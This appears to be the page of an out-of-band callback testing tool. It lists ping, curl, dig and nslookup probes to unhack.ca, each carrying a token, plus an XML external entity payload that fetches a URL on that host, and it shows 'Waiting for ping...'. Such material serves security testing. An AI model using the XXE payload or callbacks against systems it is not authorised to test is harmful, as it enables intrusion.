$ ping -c1 -p 00b430048ce98edc7cb91796c78ef300 unhack.ca
 
$ curl http://unhack.ca/p/b430048ce98edc7cb91796c78ef3
 
$ dig b430048ce98edc7cb91796c78ef3 @unhack.ca
 
$ dig b430048ce98edc7cb91796c78ef3.ns.unhack.ca
 
C:\> nslookup b430048ce98edc7cb91796c78ef3 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b430048ce98edc7cb91796c78ef3">]>
    <foo>&xxe;</foo>
Waiting for ping...